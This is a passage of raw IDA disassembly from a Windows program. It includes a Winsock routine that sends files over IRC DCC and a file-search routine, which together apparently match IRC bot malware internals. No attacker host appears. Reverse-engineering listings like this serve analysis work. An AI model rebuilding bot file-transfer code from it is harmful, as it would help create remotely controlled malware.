CODE XREF: ___:0040BA0Dj ; ___:0040BAA0j ... mov ecx, [esp+5Ch] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 58h retn 4 ; --------------------------------------------------------------------------- db 90h db 0C0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40BC70 proc near ; CODE XREF: sub_401BF4j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_4021CB sub_40BC70 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40BCB0 proc near ; CODE XREF: sub_401555j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_401C71 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401451 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40124E mov edx, [esi+4] mov ecx, esi push edx call sub_401FCD sub_40BCB0 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BD20 proc near ; CODE XREF: sub_401451j arg_0 = dword ptr 4 mov eax, [ecx+4] push esi push eax call sub_4020F9 mov ecx, [eax] mov esi, [esp+8+arg_0] add esp, 4 push ecx mov ecx, esi call sub_4014A6 mov eax, esi pop esi retn 4 sub_40BD20 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BD60 proc near ; CODE XREF: sub_401C71j arg_0 = dword ptr 4 mov eax, [ecx+4] push esi mov esi, [esp+4+arg_0] push eax mov ecx, esi call sub_4014A6 mov eax, esi pop esi retn 4 sub_40BD60 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40BD90 proc near ; CODE XREF: sub_401906j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_401C71 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401C49 sub_40BD90 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BDD0 proc near ; CODE XREF: sub_401BEFj var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_401C71 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401451 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40124E pop esi add esp, 0Ch retn sub_40BDD0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BE20 proc near ; CODE XREF: sub_40153Cj push esi mov esi, ecx call sub_40213A mov eax, esi pop esi retn sub_40BE20 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BE40 proc near ; CODE XREF: sub_401F5Aj mov eax, [ecx] push eax call sub_401839 add esp, 4 retn sub_40BE40 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BE60 proc near ; CODE XREF: sub_40133Ej push esi mov esi, ecx mov eax, [esi] push eax call sub_4020F9 mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_40BE60 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BE90 proc near ; CODE XREF: sub_40136Bj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401CE9 neg al sbb eax, eax inc eax retn 4 sub_40BE90 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40BEC0 proc near ; CODE XREF: sub_401C49j arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_4016A4 mov edi, eax push edi call sub_40213F mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_4021CB sub_40BEC0 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_40213F push edi mov [eax], ebx call sub_40213F mov edi, [eax] push edi call sub_40213F mov ecx, [eax] push ecx call sub_4020F9 mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_401839 add esp, 4 mov ecx, esi push eax call sub_401F14 mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx mov esi, [esp+14h] mov ecx, esi call sub_4014A6 mov eax, esi pop edi pop esi pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BF60 proc near ; CODE XREF: sub_40124Ej var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_40136B test al, al jz short loc_40BFBA loc_40BF78: ; CODE XREF: sub_40BF60+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_401B86 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_40106E ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_40136B test al, al jnz short loc_40BF78 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_40BFBA: ; CODE XREF: sub_40BF60+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_40BF60 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40BFF0 proc near ; CODE XREF: sub_4021CBj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 0Ch call sub_40155F sub_40BFF0 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_40C005 mov edi, esi loc_40C005: ; CODE XREF: ___:0040C001j push esi call sub_4020F9 mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_40C01A mov edi, esi loc_40C01A: ; CODE XREF: ___:0040C016j push esi call sub_40213F add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40C040 proc near ; CODE XREF: sub_401FCDj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_402059 sub_40C040 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C060 proc near ; CODE XREF: sub_4020F9j arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_40C060 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C080 proc near ; CODE XREF: sub_401839j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_40C080 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C0A0 proc near ; CODE XREF: sub_40213Aj mov eax, ecx retn sub_40C0A0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C0C0 proc near ; CODE XREF: sub_4014A6j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_40105A mov eax, esi pop esi retn 4 sub_40C0C0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C0F0 proc near ; CODE XREF: sub_401CE9j arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_40C0F0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40C120 proc near ; CODE XREF: sub_40106Ej var_4 = byte ptr -4 arg_4 = byte ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_401B86 mov ecx, eax call sub_4016A4 mov esi, eax push esi call sub_4020F9 push esi mov ebx, eax call sub_40213F mov ecx, [eax] push ecx call sub_4020F9 mov edx, [ebx] push esi mov [eax], edx call sub_40213F push esi mov ebx, eax call sub_4020F9 mov eax, [eax] push eax call sub_40213F mov ecx, [ebx] push esi mov [eax], ecx call sub_401839 add esp, 1Ch mov ecx, edi push eax call sub_401221 push esi mov ecx, edi call sub_401FCD sub_40C120 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C1E0 proc near ; CODE XREF: sub_40213Fj arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_40C1E0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40C200 proc near ; CODE XREF: sub_40155Fj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D16 sub_40C200 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40C230 proc near ; CODE XREF: sub_402059j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4367E2 sub_40C230 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C250 proc near ; CODE XREF: sub_401F14j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_4011AE add esp, 8 retn 8 sub_40C250 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C280 proc near ; CODE XREF: sub_40105Aj arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_40C280 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C2A0 proc near ; CODE XREF: sub_4016A4j mov eax, [ecx] retn sub_40C2A0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C2C0 proc near ; CODE XREF: sub_401B86j arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_40133E mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_40C2C0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C2F0 proc near ; CODE XREF: sub_401221j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_2 pop ecx retn 4 sub_40C2F0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C310 proc near ; CODE XREF: sub_4011AEj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_40C32B mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_40C32B: ; CODE XREF: sub_40C310+11j retn sub_40C310 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40C360 proc near ; CODE XREF: sub_401BE5j var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40C360 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push esi push 0 push 4 push 0Eh push 5 push 13h push 4Fh push 3 push 3 lea eax, [esp+48h+var_24] push 4 mov esi, ecx push eax call sub_4019B5 add esp, 28h push esi mov ecx, eax mov [esp+2Ch+var_4], 0 call sub_401681 add esi, 4 push eax push esi mov ecx, offset dword_447148 call sub_401591 sub_40C360 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+24h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch] pop esi mov large fs:0, ecx add esp, 24h retn ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C400 proc near ; CODE XREF: sub_401712j var_AB4 = dword ptr -0AB4h var_AAC = dword ptr -0AACh var_AA8 = dword ptr -0AA8h var_AA4 = dword ptr -0AA4h var_AA0 = dword ptr -0AA0h var_A9C = byte ptr -0A9Ch var_A98 = byte ptr -0A98h var_A94 = dword ptr -0A94h var_A90 = dword ptr -0A90h var_A8C = dword ptr -0A8Ch var_A88 = dword ptr -0A88h var_A84 = dword ptr -0A84h var_A78 = byte ptr -0A78h var_A74 = dword ptr -0A74h var_A70 = byte ptr -0A70h var_A6C = byte ptr -0A6Ch var_A5C = byte ptr -0A5Ch var_A54 = byte ptr -0A54h var_A3C = byte ptr -0A3Ch var_A38 = byte ptr -0A38h var_A24 = byte ptr -0A24h var_A1C = dword ptr -0A1Ch var_A18 = dword ptr -0A18h var_910 = byte ptr -910h var_710 = byte ptr -710h var_510 = byte ptr -510h var_40C = byte ptr -40Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_40C400 push eax mov large fs:0, esp sub esp, 0AA0h add ecx, 4 push ebx push ebp push esi push edi call sub_4014D3 mov ebp, [esp+0ABCh+arg_0] push eax lea ecx, [ebp+7Eh] call sub_4012EE test eax, eax jnz loc_40C94E lea ecx, [esp+0ABCh+var_A78] call sub_401091 push 1 push offset asc_443600 ; " " lea eax, [esp+0AC4h+var_A3C] xor esi, esi push 1 push eax mov ecx, ebp mov [esp+0ACCh+var_4], esi call sub_4011EA push eax lea ecx, [esp+0AC0h+var_A70] mov byte ptr [esp+0AC0h+var_4], 1 call sub_40200E lea ecx, [esp+0ABCh+var_A3C] mov byte ptr [esp+0ABCh+var_4], 0 call sub_401226 push esi push 1 push 2 mov [esp+0AC8h+var_AA8], esi mov [esp+0AC8h+var_AA4], esi mov [esp+0AC8h+var_A90], esi nop call near ptr 71AB3B91h mov ebx, eax cmp ebx, 0FFFFFFFFh mov [esp+0ABCh+var_AAC], ebx jnz short loc_40C4CC lea ecx, [esp+0ABCh+var_710] push offset aDccFailedToCre ; "[DCC]: Failed to create socket." push ecx nop call sub_5EA1BD add esp, 8 jmp loc_40C8F5 ; --------------------------------------------------------------------------- loc_40C4CC: ; CODE XREF: sub_40C400+AFj xor edx, edx push esi mov [esp+0AC0h+var_AA0], edx mov word ptr [esp+0AC0h+var_AA0], 2 mov dword ptr [esp+0AC0h+var_A9C], edx mov dword ptr [esp+0AC0h+var_A98], edx mov [esp+0AC0h+var_A94], edx nop call near ptr 71AB2B66h mov word ptr [esp+0ABCh+var_AA0+2], ax lea eax, [esp+0ABCh+var_AA0] push 10h push eax push ebx mov dword ptr [esp+0AC8h+var_A9C], esi nop call near ptr 71AB3E00h test eax, eax jz short loc_40C51A lea ecx, [ebp+69h] call sub_4014D3 push eax push offset aDccFailedToBin ; "dcc: failed to bind socket" jmp loc_40C5C0 ; --------------------------------------------------------------------------- loc_40C51A: ; CODE XREF: sub_40C400+105j lea eax, [esp+0ABCh+var_A88] lea ecx, [esp+0ABCh+var_AA0] push eax push ecx push ebx mov [esp+0AC8h+var_A88], 10h nop call near ptr 71AB951Eh mov edx, [esp+0ABCh+var_AA0+2] push edx nop call near ptr 71AB2B66h lea ecx, [esp+0ABCh+var_A70] mov [esp+0ABCh+var_A8C], eax call sub_4014D3 mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+0ABCh+var_910] repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 xor edx, edx rep movsb loc_40C573: ; CODE XREF: sub_40C400+1A3j mov al, [esp+edx+0ABCh+var_910] cmp al, 20h jnz short loc_40C585 mov eax, 5Fh jmp short loc_40C588 ; --------------------------------------------------------------------------- loc_40C585: ; CODE XREF: sub_40C400+17Cj movsx eax, al loc_40C588: ; CODE XREF: sub_40C400+183j mov [esp+edx+0ABCh+var_510], al lea edi, [esp+0ABCh+var_910] or ecx, 0FFFFFFFFh xor eax, eax inc edx repne scasb not ecx dec ecx cmp edx, ecx jbe short loc_40C573 push 1 push ebx nop call near ptr 71AB88D3h test eax, eax jz short loc_40C5DD lea ecx, [ebp+69h] call sub_4014D3 push eax push offset aDccFailedToOpe ; "dcc: failed to open socket" loc_40C5C0: ; CODE XREF: sub_40C400+115j mov cl, [ebp+94h] mov dl, [ebp+93h] push ecx push edx mov ecx, offset byte_4D60A5 call sub_401118 jmp loc_40C8EF ; --------------------------------------------------------------------------- loc_40C5DD: ; CODE XREF: sub_40C400+1B0j push 0 push 0 push 3 push 0 push 1 push 80000000h lea ecx, [esp+0AD4h+var_A70] call sub_4017E4 push eax call near ptr 29D03E9h nop mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_40C644 lea ecx, [ebp+69h] call sub_4014D3 mov cl, [ebp+93h] push eax mov al, [ebp+94h] push offset aDccFileDoesnTE ; "dcc: file doesn't exist" push eax push ecx mov ecx, offset byte_4D60A5 call sub_401118 lea edx, [esp+0ABCh+var_710] push offset aDccFileDoesn_0 ; "[DCC]: File doesn't exist." push edx nop call sub_5EA1BD add esp, 8 jmp loc_40C8EF ; --------------------------------------------------------------------------- loc_40C644: ; CODE XREF: sub_40C400+201j push 0 push esi nop call near ptr 29D0000h lea ecx, [esp+0ABCh+var_A54] mov ebx, eax call sub_401424 mov eax, [esp+0ABCh+var_A8C] push ebx and eax, 0FFFFh mov byte ptr [esp+0AC0h+var_4], 2 push eax mov eax, dword_4D60BD push eax call sub_401DF7 add esp, 4 push eax nop call near ptr 71AB2BF4h push eax call near ptr 71AB2BC0h nop push eax lea ecx, [esp+0AD0h+var_A78] call sub_4017E4 push eax lea ecx, [esp+0AD4h+var_A5C] push offset dword_443A20 push ecx call sub_40102D add esp, 18h lea ecx, [ebp+15h] call sub_401681 push eax lea ecx, [esp+0AC8h+var_A5C] call sub_4014D3 mov dl, [ebp+94h] push eax mov al, [ebp+93h] push edx push eax mov ecx, offset byte_4D60A5 call sub_401118 mov edi, [esp+0AC4h+var_AB4] lea ecx, [esp+0AC4h+var_A88] push ecx push 0 lea edx, [esp+0ACCh+var_A1C] push 0 push edx push 0 mov [esp+0AD8h+var_A88], 3Ch mov [esp+0AD8h+var_A84], 0 mov [esp+0AD8h+var_A18], edi mov [esp+0AD8h+var_A1C], 1 call near ptr 71AB2DC0h nop test eax, eax jg short loc_40C73D lea ecx, [ebp+69h] call sub_4014D3 mov cl, [ebp+93h] push eax mov al, [ebp+94h] push offset aDccTimeout ; "dcc: timeout" push eax push ecx mov ecx, offset byte_4D60A5 call sub_401118 jmp loc_40C8DA ; --------------------------------------------------------------------------- loc_40C73D: ; CODE XREF: sub_40C400+310j lea edx, [esp+0ABCh+var_A84] lea eax, [esp+0ABCh+var_A24] push edx push eax push edi mov [esp+0AC8h+var_A84], 10h call near ptr 71AC1028h nop cmp eax, 0FFFFFFFFh mov [esp+0ABCh+var_A74], eax jnz short loc_40C78D lea ecx, [ebp+69h] call sub_4014D3 mov cl, [ebp+94h] mov dl, [ebp+93h] push eax push offset aDccUnableToOpe ; "dcc: unable to open socket" push ecx push edx mov ecx, offset byte_4D60A5 call sub_401118 jmp loc_40C8DA ; --------------------------------------------------------------------------- loc_40C78D: ; CODE XREF: sub_40C400+360j push edi call near ptr 71AB9639h nop test ebx, ebx jz loc_40C845 loc_40C79C: ; CODE XREF: sub_40C400+438j mov ebp, 400h cmp ebx, ebp jge short loc_40C7A7 mov ebp, ebx loc_40C7A7: ; CODE XREF: sub_40C400+3A3j mov edx, ebx xor eax, eax neg edx push 2 mov ecx, 100h lea edi, [esp+0AC0h+var_40C] push eax push edx push esi rep stosd nop call near ptr 29C041Dh lea eax, [esp+0ABCh+var_A90] push 0 push eax lea ecx, [esp+0AC4h+var_40C] push ebp push ecx push esi call near ptr 29C0000h nop mov eax, [esp+0ABCh+var_A74] push 0 lea edx, [esp+0AC0h+var_40C] push ebp push edx push eax call near ptr 71AB428Ah nop mov ecx, [esp+0ABCh+var_AA8] mov ebp, [esp+0ABCh+var_AA4] mov edi, eax push 0 cdq add ecx, eax push 400h mov [esp+0AC4h+var_AA8], ecx lea ecx, [esp+0AC4h+var_40C] adc ebp, edx mov edx, [esp+0AC4h+var_A74] push ecx push edx mov [esp+0ACCh+var_AA4], ebp call near ptr 71AB615Ah nop cmp eax, 1 jl loc_40C90E cmp edi, 1 jl loc_40C90E sub ebx, edi jnz loc_40C79C mov ebp, [esp+0ABCh+arg_0] loc_40C845: ; CODE XREF: sub_40C400+396j push esi nop call near ptr 29B0989h lea ecx, [esp+0AB8h+var_A38] call sub_401424 mov eax, [esp+0AB8h+var_AA0] mov ecx, [esp+0AB8h+var_AA4] push eax push ecx lea ecx, [esp+0AC0h+var_A6C] mov byte ptr [esp+0AC0h], 3 call sub_4014D3 mov edx, [esp+0AC0h+var_A1C] push eax push edx call near ptr 71AB3F41h nop push eax lea eax, [esp+0ACCh+var_A3C] push offset aDccCompleteToS ; "dcc: complete to %s, file: %s, (%d byte"... push eax call sub_40102D add esp, 18h lea ecx, [ebp+69h] call sub_4014D3 push eax lea ecx, [esp+0AC0h+var_A3C] call sub_4014D3 mov cl, [ebp+94h] mov dl, [ebp+93h] push eax push ecx push edx mov ecx, offset byte_4D60A5 call sub_401118 lea ecx, [esp+0ABCh+var_A3C] mov byte ptr [esp+0ABCh+var_4], 2 call sub_401226 loc_40C8DA: ; CODE XREF: sub_40C400+338j ; sub_40C400+388j lea ecx, [esp+0ABCh+var_A54] mov byte ptr [esp+0ABCh+var_4], 0 call sub_401226 mov ebx, [esp+0ABCh+var_AAC] loc_40C8EF: ; CODE XREF: sub_40C400+1D8j ; sub_40C400+23Fj xor esi, esi cmp ebx, esi jbe short loc_40C8FC loc_40C8F5: ; CODE XREF: sub_40C400+C7j push ebx nop call near ptr 71AB9639h loc_40C8FC: ; CODE XREF: sub_40C400+4F3j mov eax, [esp+0ABCh+var_A74] push eax nop call near ptr 71AB9639h push esi nop call near ptr 29B0229h loc_40C90E: ; CODE XREF: sub_40C400+427j ; sub_40C400+430j mov esi, [esp+0ABCh+arg_0] lea ecx, [esi+69h] call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push offset aDccSocketError ; "dcc: socket error" push eax push ecx mov ecx, offset byte_4D60A5 call sub_401118 mov edx, [esp+0ABCh+var_A74] push edx nop call near ptr 71AB9639h push 1 call near ptr 29B0229h nop loc_40C94E: ; CODE XREF: sub_40C400+39j mov ecx, [esp+0ABCh+var_C] pop edi pop esi pop ebp xor al, al pop ebx mov large fs:0, ecx add esp, 0AACh retn 4 sub_40C400 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 160h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40CAD0 proc near ; CODE XREF: sub_401091j push esi mov esi, ecx lea ecx, [esi+8] call sub_401424 mov eax, esi pop esi retn sub_40CAD0 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40CAF0: ; CODE XREF: ___:loc_401AFFj add ecx, 8 jmp sub_401226 ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40CB10 proc near ; CODE XREF: sub_402045j var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40CB10 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push esi push 0 push 5 push 0Ch push 9 lea eax, [esp+38h+var_24] push 6 mov esi, ecx push eax call sub_4019B5 add esp, 18h push esi mov ecx, eax mov [esp+2Ch+var_4], 0 call sub_4017E4 add esi, 4 push eax push esi mov ecx, offset dword_447148 call sub_401591 sub_40CB10 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+24h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch] pop esi mov large fs:0, ecx add esp, 24h retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40CBB0 proc near ; CODE XREF: sub_401BA4j var_279 = byte ptr -279h var_278 = byte ptr -278h var_260 = dword ptr -260h var_25C = dword ptr -25Ch var_258 = byte ptr -258h var_247 = byte ptr -247h var_232 = byte ptr -232h var_221 = dword ptr -221h var_21D = dword ptr -21Dh var_219 = dword ptr -219h var_215 = dword ptr -215h var_211 = dword ptr -211h var_20C = byte ptr -20Ch var_208 = byte ptr -208h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_40CBB0 push eax mov large fs:0, esp sub esp, 270h add ecx, 4 push esi call sub_4014D3 mov esi, [esp+280h+arg_0] push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_40CDAE push ebx lea ecx, [esp+284h+var_260] call sub_40198D lea eax, [esi+2Ah] xor ebx, ebx push eax lea ecx, [esp+288h+var_25C] mov [esp+288h+var_4], ebx mov [esp+288h+var_260], ebx call sub_40200E push 1 push offset asc_443600 ; " " lea ecx, [esp+28Ch+var_278] push 2 push ecx mov ecx, esi call sub_4011EA mov ecx, eax mov byte ptr [esp+284h+var_4], 1 call sub_4017E4 push eax lea ecx, [esp+288h+var_247] call sub_401A87 lea ecx, [esp+284h+var_278] mov byte ptr [esp+284h+var_4], bl call sub_401226 push 1 push offset asc_443600 ; " " lea edx, [esp+28Ch+var_278] push 3 push edx mov ecx, esi call sub_4011EA mov ecx, eax mov byte ptr [esp+284h+var_4], 2 call sub_4017E4 push eax lea ecx, [esp+288h+var_232] call sub_401A87 lea ecx, [esp+284h+var_278] mov byte ptr [esp+284h+var_4], bl call sub_401226 mov edx, [esp+284h+var_221] xor eax, eax mov al, [esi+94h] xor ecx, ecx mov cl, [esi+93h] mov [esp+284h+var_219], eax lea eax, [esp+284h+var_278] mov [esp+284h+var_215], ecx push edx push eax lea ecx, [esp+28Ch+var_232] mov [esp+28Ch+var_21D], ebx mov [esp+28Ch+var_211], 1 call sub_401E2E push offset asc_443AF4 ; "\\" mov ecx, eax mov byte ptr [esp+288h+var_4], 3 call sub_4012EE test eax, eax lea ecx, [esp+284h+var_278] mov byte ptr [esp+284h+var_4], bl setz [esp+284h+var_279] call sub_401226 cmp [esp+284h+var_279], bl jz short loc_40CD2B mov ecx, [esp+284h+var_221] lea edx, [esp+284h+var_278] push ecx push edx lea ecx, [esp+28Ch+var_232] call sub_401E2E push offset dword_446F64 mov ecx, eax mov byte ptr [esp+288h+var_4], 4 call sub_401A87 lea ecx, [esp+284h+var_278] mov byte ptr [esp+284h+var_4], bl call sub_401226 loc_40CD2B: ; CODE XREF: sub_40CBB0+142j push ebx lea ecx, [esp+288h+var_232] call sub_4014D3 push eax lea ecx, [esp+28Ch+var_247] call sub_4014D3 push eax mov eax, [esp+290h+var_219] push eax lea ecx, [esp+294h+var_25C] call sub_401681 mov ecx, [esp+294h+var_260] push eax push ecx call sub_402257 add esp, 18h lea edx, [esp+284h+var_20C] push eax push offset aFilesFoundD ; "Files Found: %d" push edx call sub_5EA1BD nop mov eax, [esp+28Ch+var_211] add esp, 0Ch cmp eax, ebx jnz short loc_40CD99 mov eax, [esp+280h+var_215] lea ecx, [esp+280h+var_208] push eax push ecx lea ecx, [esp+288h+var_258] call sub_401681 mov edx, [esp+288h+var_25C] push eax push 